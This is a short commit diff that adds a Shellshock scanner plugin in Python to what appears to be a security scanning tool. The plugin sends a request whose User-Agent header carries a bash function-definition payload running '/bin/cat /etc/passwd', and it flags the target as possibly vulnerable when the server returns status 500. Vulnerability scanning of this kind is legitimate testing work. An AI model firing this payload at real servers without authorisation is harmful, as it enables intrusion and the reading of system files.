moved the shellshock scanner to plugins

plugins/shellshock.py

@@ -0,0 +1,13 @@
+from colorama import Fore
+import requests
+
+user_agent = "() { :; }; /bin/cat /etc/passwd"
+header = {"User-Agent": user_agent}
+
+
+def shellshock_scan(domain: str) -> str:
+    res = requests.get(domain, verify=False, headers=header)
+    if res.status_code == 500:
+        print(f"{Fore.MAGENTA}[+] {Fore.CYAN}-{Fore.WHITE} Shellshock: {Fore.GREEN}Might be vulnerable!")
+    else:
+        pass